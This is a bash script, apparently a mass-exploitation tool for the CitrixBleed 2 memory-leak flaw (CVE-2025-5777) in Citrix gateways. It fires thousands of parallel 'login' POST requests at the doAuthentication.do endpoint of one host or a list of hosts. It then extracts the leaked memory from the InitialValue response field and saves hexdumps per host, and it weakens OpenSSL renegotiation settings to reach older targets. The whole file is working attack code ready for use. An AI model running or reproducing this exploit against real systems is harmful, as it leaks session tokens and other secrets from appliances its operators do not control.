#!/usr/bin/env bash
# citrixbleed2_parallel.sh – Mass‑scanner for CitrixBleed 2 (CVE‑2025‑5777)
# -----------------------------------------------------------------------------
# USAGE
#   Single host – 10 000 requests, 300 jobs, no OpenSSL tweak, progress bar
#       ./citrixbleed2_parallel.sh -n 10000 -j 300 --no-ssl-conf --progress https://gw.example.com
#   Batch file – 5 000 requests each, results under out/
#       ./citrixbleed2_parallel.sh -f targets.txt -n 5000 -o out --progress
# -----------------------------------------------------------------------------
# OPTIONS
#   -f, --file FILE        File with one target per line (host or URL)
#   -n, --requests N       POST requests per host              (default 100)
#   -j, --jobs J           GNU parallel job count              (default 50)
#   -o, --out-dir DIR      Directory for per‑host hexdumps      (default "dumps")
#   --no-ssl-conf          Disable UnsafeLegacyRenegotiation OpenSSL tweak
#   --progress             Show GNU parallel real‑time progress bar / ETA
#   -h, --help             Show this help and exit
# -----------------------------------------------------------------------------
# OUTPUT
#   * Continuous hexdumps to STDOUT (line‑buffered)
#   * Per‑host files: DIR/<host>.hexdump (written in real‑time, flock‑protected)
# -----------------------------------------------------------------------------
set -euo pipefail

command -v parallel >/dev/null 2>&1 || { echo "[!] GNU parallel is required" >&2; exit 1; }
command -v getopt   >/dev/null 2>&1 || { echo "[!] GNU getopt (util‑linux) is required" >&2; exit 1; }

# ---------- argument parsing --------------------------------------------------
PARSED=$(getopt -o f:n:j:o:h --long file:,requests:,jobs:,out-dir:,no-ssl-conf,progress,help -- "$@") || {
  echo "[!] Arg parse error; -h for help" >&2; exit 1; }
eval set -- "$PARSED"
FILE=""; COUNT=100; JOBS=50; OUT_DIR="dumps"; SSL_CONF=1; PROGRESS=false
while true; do
  case "$1" in
    -f|--file)        FILE="$2" ; shift 2 ;;
    -n|--requests)    COUNT="$2" ; shift 2 ;;
    -j|--jobs)        JOBS="$2"  ; shift 2 ;;
    -o|--out-dir)     OUT_DIR="$2"; shift 2 ;;
    --no-ssl-conf)    SSL_CONF=0  ; shift   ;;
    --progress)       PROGRESS=true; shift  ;;
    -h|--help)
      grep -E '^#   ' "$0" | sed 's/^#   //' ; exit 0 ;;
    --) shift; break ;;
    *)  echo "[!] Unknown option: $1" >&2; exit 1 ;;
  esac
done
HOST_ARG="${1:-}"

mkdir -p "$OUT_DIR"

# ---------- optional OpenSSL tweak -------------------------------------------
if [[ "$SSL_CONF" -eq 1 ]]; then
  OPENSSL_CFG=$(mktemp)
  cat >"$OPENSSL_CFG" <<'EOF'
openssl_conf = openssl_init
[openssl_init]
ssl_conf = ssl_sect
[ssl_sect]
system_default = system_default_sect
[system_default_sect]
Options = UnsafeLegacyRenegotiation
EOF
  export OPENSSL_CONF="$OPENSSL_CFG"
  trap 'rm -f "$OPENSSL_CFG"' EXIT
fi

# ---------- helper functions --------------------------------------------------
normalize() { local r="$1"; r=${r#http://}; r=${r#https://}; r=${r%%/*}; r=${r%/}; printf '%s' "$r"; }

extract_iv() {
  perl -0777 -ne 'while(m{<InitialValue>(.*?)</InitialValue>}sg){$v=$1;$v=~s/[\r\n\t ]+//g;$v =~ /[^\x20-\x7E]/ && print "$v\n"}'
}

single_req() {
  local idx="$1" host="$2" outfile="$3" lockfile="$outfile.lock"
  body=$(curl -skm 10 -d "login" "https://${host}/p/u/doAuthentication.do") || exit 0
  printf '%s' "$body" | extract_iv | while IFS= read -r iv; do
    [[ -z "$iv" ]] && continue
    dump=$(printf '%s' "$iv" | hexdump -C)
    printf '%s\n' "$dump"            # to STDOUT line‑buffered
    (
      flock -x 200
      printf '%s\n' "$dump" >> "$outfile"
    ) 200>"$lockfile"
  done
}
export -f single_req extract_iv normalize

run_host() {
  local raw="$1"
  local h="$(normalize "$raw")"
  local outfile="$OUT_DIR/${h}.hexdump"
  seq 1 "$COUNT" | parallel --lb -j"$JOBS" --no-notice single_req {} "$h" "$outfile"
}
export -f run_host

# ---------- banner ------------------------------------------------------------
TARGETS=$([[ -n "$FILE" ]] && grep -cve '^[[:space:]]*$' "$FILE" || echo 1)
printf '\n[+] CitrixBleed2 scan starting\n'
printf '    Targets      : %s\n' "$TARGETS"
printf '    Requests/host: %s\n' "$COUNT"
printf '    Parallel jobs: %s\n' "$JOBS"
printf '    Output dir   : %s\n' "$OUT_DIR"
printf '    OpenSSL tweak: %s\n\n' $([[ "$SSL_CONF" -eq 1 ]] && echo enabled || echo disabled)

# ---------- dispatcher --------------------------------------------------------
export COUNT JOBS OUT_DIR
PARA_OPTS=(--lb -j"$JOBS" --no-notice)
$PROGRESS && PARA_OPTS+=(--progress)

if [[ -n "$FILE" ]]; then
  parallel "${PARA_OPTS[@]}" --env COUNT --env JOBS --env OUT_DIR run_host :::: "$FILE"
else
  [[ -z "$HOST_ARG" ]] && { echo "[!] Missing host or -f file" >&2; exit 1; }
  run_host "$HOST_ARG"
fi
